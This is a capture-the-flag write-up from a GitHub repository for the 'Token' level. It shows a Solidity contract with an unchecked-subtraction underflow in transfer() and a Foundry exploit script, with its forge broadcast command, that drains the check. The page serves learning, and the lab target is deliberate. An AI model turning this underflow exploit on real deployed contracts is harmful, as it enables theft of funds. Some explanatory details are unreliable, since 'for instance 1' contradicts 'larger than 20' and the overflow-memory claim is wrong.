Skip to content
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

👾 05. Token



tl; dr


  • in this challenge, we explore a classic vulnerability in both web2 and web3 security: integer overflows.

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}


discussion


  • programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables' capacity limit.
    • we will use this trick to overflow a uint and bypass the require() check of Token()'s transfer() function:

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

  • whenever we add 1 to a variable's maximum value, the value wraps around and decreases.
    • for example, an (unsigned) uint8, has the maximum value of 2^8 - 1 = 255. if we add 1 to it, it becomes 0. same as 2^256 - 1 + 1.
    • symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable's value. this is our exploit.

  • if we pass a _value to transfer() that is larger than 20, for instance 1, balances[msg.sender] - _value results on uint256(-1), which is equal to a very large number, 2^256 – 1.



solution in solidity


  • since this challenge is so easy, we skip tests and go directly to the submission script, script/05/Token.s.sol:

contract Exploit is Script {
        
        address instance = vm.envAddress("INSTANCE_LEVEL5");   
        address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY"));    
        Token level = Token(instance);     
        
        function run() external {
            vm.startBroadcast(hacker);
            level.transfer(address(0), 21);
            vm.stopBroadcast();
    }
}

  • running with:

> forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia


alternative 3-lines solution directly in the console




pwned...